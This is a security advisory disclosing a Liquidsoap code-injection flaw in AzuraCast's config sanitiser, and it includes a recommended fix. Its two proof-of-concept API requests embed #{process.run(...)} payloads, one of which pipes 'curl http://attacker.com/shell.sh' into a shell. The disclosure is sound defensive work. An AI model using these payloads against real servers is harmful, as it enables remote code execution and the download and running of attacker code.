Summary
AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.
Root Cause
File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
public static function cleanUpString(?string $string): string
{
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}
This function only replaces " with ' and strips newlines. It does NOT filter:
#{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
\ — Backslash escape character
Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.
Injection Points
All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
| Field |
Permission Required |
Config Line |
playlist.remote_url |
Media |
input.http("...") or playlist("...") |
station.name |
Profile |
name = "..." |
station.description |
Profile |
description = "..." |
station.genre |
Profile |
genre = "..." |
station.url |
Profile |
url = "..." |
backend_config.live_broadcast_text |
Profile |
settings.azuracast.live_broadcast_text := "..." |
backend_config.dj_mount_point |
Profile |
input.harbor("...") |
PoC 1: Via Remote Playlist URL (Media permission)
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
"name": "Malicious Remote",
"source": "remote_url",
"remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote_type": "stream",
"is_enabled": true
}
The generated liquidsoap.liq will contain:
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))
When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.
PoC 2: Via Station Description (Profile permission)
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"
Trigger Condition
The injection fires when the station is restarted, which happens during:
- Normal station restart by any user with
Broadcasting permission
- System updates and maintenance
azuracast:radio:restart CLI command
- Docker container restarts
Impact
- Severity: Critical
- Authentication: Required — any station-level user with
Media or Profile permission
- Impact: Full RCE on the AzuraCast server as the
azuracast user
- CWE: CWE-94 (Code Injection)
Recommended Fix
Update cleanUpString() to escape # and \:
public static function cleanUpString(?string $string): string
{
return str_replace(
['"', "\n", "\r", '\\', '#'],
['\'', '', '', '\\\\', '\\#'],
$string ?? ''
);
}
References
Summary
AzuraCast's
ConfigWriter::cleanUpString()method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users withStationPermissions::MediaorStationPermissions::Profilepermissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config,#{...}expressions are evaluated, enabling arbitrary command execution via Liquidsoap'sprocess.run()function.Root Cause
File:
backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345This function only replaces
"with'and strips newlines. It does NOT filter:#{...}— Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\— Backslash escape characterLiquidsoap, like Ruby, evaluates
#{expression}inside double-quoted strings.process.run()in Liquidsoap executes shell commands.Injection Points
All user-controllable fields that pass through
cleanUpString()and are embedded in double-quoted strings in the.liqconfig:playlist.remote_urlMediainput.http("...")orplaylist("...")station.nameProfilename = "..."station.descriptionProfiledescription = "..."station.genreProfilegenre = "..."station.urlProfileurl = "..."backend_config.live_broadcast_textProfilesettings.azuracast.live_broadcast_text := "..."backend_config.dj_mount_pointProfileinput.harbor("...")PoC 1: Via Remote Playlist URL (Media permission)
The generated
liquidsoap.liqwill contain:When Liquidsoap parses this,
process.run('id > /tmp/pwned')executes as theazuracastuser.PoC 2: Via Station Description (Profile permission)
Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"Trigger Condition
The injection fires when the station is restarted, which happens during:
Broadcastingpermissionazuracast:radio:restartCLI commandImpact
MediaorProfilepermissionazuracastuserRecommended Fix
Update
cleanUpString()to escape#and\:References